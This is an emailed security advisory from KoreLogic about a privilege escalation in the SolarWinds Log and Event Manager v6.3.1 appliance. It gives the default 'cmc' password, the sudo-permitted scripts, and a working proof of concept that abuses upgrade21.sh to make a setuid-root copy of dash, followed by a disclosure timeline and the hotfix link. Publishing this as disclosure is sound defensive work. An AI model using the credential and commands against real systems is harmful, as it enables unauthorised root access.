KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abuse

--3XoB4TFfXSDCCgNtM7Hg08lpdguNdnrWg
Content-Type: multipart/mixed; boundary="XWJ2lNbsuJdfuksJso2PxbbiCFPL3E6v2";
 protected-headers="v1"
From: KoreLogic Disclosures <disclosures@korelogic.com>
To: fulldisclosure@seclists.org, bugtraq@securityfocus.com
Message-ID: <1fe004d9-dd5d-6e93-25b6-24e8266ce1df@korelogic.com>
Subject: KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script
 Abuse

--XWJ2lNbsuJdfuksJso2PxbbiCFPL3E6v2
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abu=
se

Title: Solarwinds LEM Privilege Escalation via Sudo Script Abuse
Advisory ID: KL-001-2017-006
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-20=
17-006.txt


1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-269: Improper Privilege Management
     Impact: Privileged Access
     Attack vector: SSH

2. Vulnerability Description

     An attacker can abuse functionality provided by a script which
     may be run with root privilege in order to elevate privilege.

3. Technical Description

     Should an attacker gain access to the SSH console for the
     cmc user, root access to the underlying operating system can be
     achieved. The default password for the cmc user is "password".

     The cmc account can run certain script files with root privilege.
     Listed below:

     cmc     ALL=3D(ALL) NOPASSWD:
     /usr/local/contego/scripts/activate.pl,
     /usr/local/contego/scripts/apply_hotfix,
     /usr/local/contego/scripts/cleantemp.pl,
     /usr/local/contego/scripts/contego-archive,
     /usr/local/contego/scripts/contego-backup,
     /usr/local/contego/scripts/contego-logbackup,
     /usr/local/contego/scripts/debugdump.pl,
     /usr/local/contego/scripts/disable_ipv6.sh,
     /usr/local/contego/scripts/exportsyslog.pl,
     /usr/local/contego/scripts/hostname.sh,
     /usr/local/contego/scripts/ipchains_restore.sh,
     /usr/local/contego/scripts/managerReset.pl,
     /usr/local/contego/scripts/mountshare.sh,
     /usr/local/contego/scripts/mountsolr.pl,
     /usr/local/contego/scripts/netconfig.sh,
     /usr/local/contego/scripts/opseccontrol.sh,
     /usr/local/contego/scripts/rcc.pl,
     /usr/local/contego/scripts/setupCert.sh,
     /usr/local/contego/scripts/sim2lem.pl,
     /usr/local/contego/scripts/snortcontrol.sh,
     /usr/local/contego/scripts/sshcontrol.sh,
     /usr/local/contego/scripts/swi_login_update.pl,
     /usr/local/contego/scripts/timecontrol.sh,
     /usr/local/contego/scripts/upgrade.pl,
     /usr/local/contego/scripts/upgrade21.sh,
     /usr/local/contego/scripts/upgrade_bootloader.sh,
     /usr/local/contego/scripts/recovery.py,
     /sbin/shutdown,
     /usr/bin/lem/lynx-admin-ui

     One script, upgrade21.sh allows the user to change ownership and
     permission bits for an arbitrary file. This can be abused to
     elevate privilege to root.

     cmc@swi-lem:/usr/local/contego/scripts$ cp /bin/dash /tmp/koresh
     cmc@swi-lem:/usr/local/contego/scripts$ sudo ./upgrade21.sh setperms=
 /tmp/koresh root root 4755
     sudo: unable to resolve host swi-lem
     cmc@swi-lem:/usr/local/contego/scripts$ /tmp/koresh
     # id
     uid=3D1001(cmc) gid=3D1000(trigeo) euid=3D0(root)
groups=3D0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),100=
0(trigeo),1002(dbadmin)

4. Mitigation and Remediation Recommendation

     The vendor has released a Hotfix to remediate this
     vulnerability. Hotfix and installation instructions are
     available at:

     https://thwack.solarwinds.com/thread/111223

5. Credit

     This vulnerability was discovered by Hank Leininger and Matt
     Bergin (@thatguylevel) of KoreLogic, Inc.

6. Disclosure Timeline

     2017.02.16 - KoreLogic sends vulnerability report and PoC to
                  Solarwinds <psirt@solarwinds.com> using PGP key
                  with fingerprint
                  A86E 0CF6 9665 0C8C 8A7C  C9BA B373 8E9F 951F 918F.
     2017.02.20 - Solarwinds replies that the key is no longer in
                  use, requests alternate communication channel.
     2017.02.22 - KoreLogic submits vulnerability report and PoC to
                  alternate Solarwinds contact.
     2017.02.23 - Solarwinds confirms receipt of vulnerability
                  report.
     2017.04.06 - 30 business days have elapsed since Solarwinds
                  acknowledged receipt of vulnerability details.
     2017.04.11 - Solarwinds releases hotfix and public disclosure.
     2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Polic=
y.v2.2.txt


--XWJ2lNbsuJdfuksJso2PxbbiCFPL3E6v2--

--3XoB4TFfXSDCCgNtM7Hg08lpdguNdnrWg
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFOBAEBCAA4FiEE+cSrtp5jQJEtra70TWWaLA4ZiQwFAlj+ZWMaHGRpc2Nsb3N1
cmVzQGtvcmVsb2dpYy5jb20ACgkQTWWaLA4ZiQyrSAf/ZIODK0AFhW094j7Ios5V
yvTkblC9Rqz+GPrCSDPnG24AQJFhUxseis/EkaqMSGntILwIfkes/qnsMvn8AYqc
ddiPCrY0IVC9oXzMOBBmT2zOaL6DnZTeuVaDu5SOppeGEUI5PeSL3Vb2JnwwRj5y
Z03nLYAfxOsPzjxhzC1kulw9y9k1U86HQdTEopq7hnBqvr8BfT4U5BQ8GR6HehUL
rzZ+jpF01U+hbgvUer6B9t4RCzeIbLQvxsVYYVfz1b6xiMlTIUQs7Ra5g3CVuli3
lltEAWhqtrJXzdqqHeFvUuboMYPzp5PIh2gIj/y8vlrNkqan4jWtoE4roBD0IpW6
dw==
=iRHd
-----END PGP SIGNATURE-----

--3XoB4TFfXSDCCgNtM7Hg08lpdguNdnrWg--